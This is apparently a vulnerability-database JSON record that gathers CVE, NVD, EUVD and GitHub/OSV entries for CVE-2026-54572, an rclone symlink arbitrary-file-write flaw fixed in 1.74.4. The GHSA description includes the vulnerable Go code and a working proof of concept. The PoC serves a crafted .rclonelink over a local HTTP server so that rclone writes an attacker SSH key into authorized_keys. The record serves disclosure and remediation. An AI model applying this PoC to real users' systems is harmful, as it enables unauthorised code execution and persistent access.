{"id":"GHSA-cf44-9pgv-m4xc","revision":null,"records":[{"revision":"9dd710779e7e4075aea89b13e68d65f9","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54572","aliases":[],"title":"rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote","description":"Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination without validating the target, allowing an attacker-controlled remote to plant an escaping symlink and cause a following object write to land outside the destination with attacker-chosen contents. This issue is fixed in version 1.74.4.","state":0,"publishedAt":"2026-07-14T21:37:41.882+00:00","modifiedAt":"2026-07-15T12:43:01.494+00:00","affected":[{"ecosystem":"Vendor product","name":"rclone","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"rclone\",\n                    \"product\": \"rclone\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.74.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.5,"severity":"HIGH"}],"references":["https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc","https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498","https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265","https://github.com/rclone/rclone/releases/tag/v1.74.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54572","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54572","identifiers":["CVE-2026-54572"]},"retained":false,"historicalAffected":[]},{"revision":"a7371dac2c6245cfbc3219c9797694a4","observedAt":"2026-11-13T15:01:51.707+00:00","statement":{"source":"euvd","id":"EUVD-2026-44532","aliases":["CVE-2026-54572","GHSA-cf44-9pgv-m4xc"],"title":"Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination…","description":"Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination without validating the target, allowing an attacker-controlled remote to plant an escaping symlink and cause a following object write to land outside the destination with attacker-chosen contents. This issue is fixed in version 1.74.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.5,"severity":null}],"references":["https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc","https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498","https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265","https://github.com/rclone/rclone/releases/tag/v1.74.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-44532","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 14, 2026, 9:37:41 PM","dateUpdated":"Jul 15, 2026, 12:43:01 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:11241-1","title":"rclone-1.74.4-1.1 on GA media","vulnerabilityIds":["CVE-2026-54572","CVE-2026-59732","CVE-2026-59733"]},{"id":"openSUSE-SU-2026:21436-1","title":"Security update for rclone","vulnerabilityIds":["CVE-2025-68121","CVE-2026-25680","CVE-2026-25681","CVE-2026-27136","CVE-2026-27141","CVE-2026-27145","CVE-2026-32952","CVE-2026-33809","CVE-2026-33813","CVE-2026-33814","CVE-2026-39821","CVE-2026-39824","CVE-2026-39827","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39833","CVE-2026-39834","CVE-2026-39835","CVE-2026-41176","CVE-2026-41179","CVE-2026-42500","CVE-2026-42502","CVE-2026-42504","CVE-2026-42506","CVE-2026-42507","CVE-2026-42508","CVE-2026-44740","CVE-2026-46595","CVE-2026-46597","CVE-2026-46598","CVE-2026-49980","CVE-2026-54572","CVE-2026-59732","CVE-2026-59733"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-44532","identifiers":["EUVD-2026-44532","CVE-2026-54572","GHSA-cf44-9pgv-m4xc"]},"retained":false,"historicalAffected":[]},{"revision":"80a851e85e4d4cb186843055891f5c45","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54572","aliases":[],"title":"Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination…","description":"Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination without validating the target, allowing an attacker-controlled remote to plant an escaping symlink and cause a following object write to land outside the destination with attacker-chosen contents. This issue is fixed in version 1.74.4.","state":0,"publishedAt":"2026-07-14T22:17:16.533+00:00","modifiedAt":"2026-07-17T03:13:56.627+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":8.8,"severity":"HIGH"}],"references":["https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498","https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265","https://github.com/rclone/rclone/releases/tag/v1.74.4","https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54572","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-59"],"productCriteria":["cpe:2.3:a:rclone:rclone:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-14T22:17:16.533","lastModified":"2026-07-17T03:13:56.627"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54572","identifiers":["CVE-2026-54572"]},"retained":false,"historicalAffected":[]},{"revision":"9f18c8f22faa490ca13d0354dd10c61d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-cf44-9pgv-m4xc","aliases":["BIT-rclone-2026-54572","CVE-2026-54572","GO-2026-6191"],"title":"rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote","description":"### Summary\nWith `-l/--links`, rclone serializes symlinks as `<name>.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(<object body>, <dest path>)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `<name>.rclonelink` sorts before `<name>/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution.\n\n### Details\n`backend/local/local.go`, `Object.Update()`:\n```go\n} else {\n    out = nopWriterCloser{&symlinkData}          // body of <name>.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n    if err == nil {\n        if _, err := os.Lstat(o.path); err == nil {\n            os.Remove(o.path)\n        }\n        // Use the contents for the copied object to create a symlink\n        err = os.Symlink(symlinkData.String(), o.path)   // <-- target NEVER validated (abs / .. allowed)\n    }\n}\n```\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -> v1.74.3\n```\n2) Create an attacker-controlled \"remote\" (two objects) and a victim layout:\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf '%s' \"$PWD/victimhome/.ssh\" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest\nprintf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n' > evil/pwn/authorized_keys\nls -l victimhome/.ssh                                                 # empty (before)\n```\n3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):\n```\ncd evil && python3 -m http.server 38080 --bind 127.0.0.1\n```\n4) VICTIM ACTION — back up the untrusted remote preserving symlinks:\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n5) Observe — a file landed OUTSIDE `./dest`:\n```\nls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest\n```\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution.\n\n### Impact\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.","state":0,"publishedAt":"2026-08-05T20:15:01+00:00","modifiedAt":"2026-09-10T03:51:13.7712256+00:00","affected":[{"ecosystem":"Go","name":"github.com/rclone/rclone","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.74.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc","https://nvd.nist.gov/vuln/detail/CVE-2026-54572","https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498","https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265","https://github.com/rclone/rclone","https://github.com/rclone/rclone/releases/tag/v1.74.4"],"sourceUrl":"https://github.com/advisories/GHSA-cf44-9pgv-m4xc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cf44-9pgv-m4xc","identifiers":["GHSA-cf44-9pgv-m4xc","BIT-rclone-2026-54572","CVE-2026-54572","GO-2026-6191"]},"retained":false,"historicalAffected":[]},{"revision":"2452688ba3c8442e9c9696ac9915d158","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6191","aliases":["BIT-rclone-2026-54572","CVE-2026-54572","GHSA-cf44-9pgv-m4xc"],"title":"Arbitrary file write via --links symlinks in github.com/rclone/rclone","description":"Arbitrary file write via --links symlinks in github.com/rclone/rclone","state":0,"publishedAt":"2026-08-18T16:38:10+00:00","modifiedAt":"2026-08-18T17:24:12.6785391+00:00","affected":[{"ecosystem":"Go","name":"github.com/rclone/rclone","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.74.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc","https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498","https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265","https://github.com/rclone/rclone/releases/tag/v1.74.4"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6191","license":"OSV · upstream source license applies","key":"osv:GO-2026-6191","identifiers":["GO-2026-6191","BIT-rclone-2026-54572","CVE-2026-54572","GHSA-cf44-9pgv-m4xc"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T06:30:52.8313382+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T06:30:52.8313382+00:00","lastSuccessAt":"2026-11-15T06:30:52.9739799+00:00","error":null,"lastVerifiedAt":"2026-11-15T06:30:52.9739809+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-5e215490d55c14930215665213ddac0f30153138ec392bed5f309d985bc5e0a1","complete":true,"records":425770,"lastAttemptAt":"2026-11-15T06:30:52.1466825+00:00","lastSuccessAt":"2026-11-15T06:30:52.1389052+00:00","error":null,"lastVerifiedAt":"2026-11-15T06:30:52.1466825+00:00","snapshotPublishedAt":"2026-11-15T06:27:22+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-5a4abd14253544b78d8c3044915082da","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T06:39:25.4859854+00:00","lastSuccessAt":"2026-11-15T06:39:24.47+00:00","error":"64 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T06:39:24.47+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13810,"expectedIdentifiers":13874,"failedIdentifiers":64},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T06:30:52.8313382+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T06:30:52.8313382+00:00","lastSuccessAt":"2026-11-15T06:30:52.9749685+00:00","error":null,"lastVerifiedAt":"2026-11-15T06:30:52.9749715+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-35abf047bdfe46089a52c4c139c37942","complete":false,"records":13833,"lastAttemptAt":"2026-11-15T06:30:58.1452571+00:00","lastSuccessAt":"2026-11-15T05:33:23.837+00:00","error":"12 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T05:33:23.837+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13862,"expectedIdentifiers":13874,"failedIdentifiers":12},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T06:30:52.7627278+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T06:30:52.7627278+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T06:30:52.191726+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T06:30:52.191726+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T06:30:52.7798435+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T06:30:52.7798435+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-878f718ccd076f540460423958c8e379b139b997b45858275573ecc4d702fe9a","complete":true,"records":232474,"lastAttemptAt":"2026-11-15T06:30:52.6600161+00:00","lastSuccessAt":"2026-11-15T05:33:06.8241102+00:00","error":null,"lastVerifiedAt":"2026-11-15T06:30:52.6600161+00:00","snapshotPublishedAt":"2026-11-15T04:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}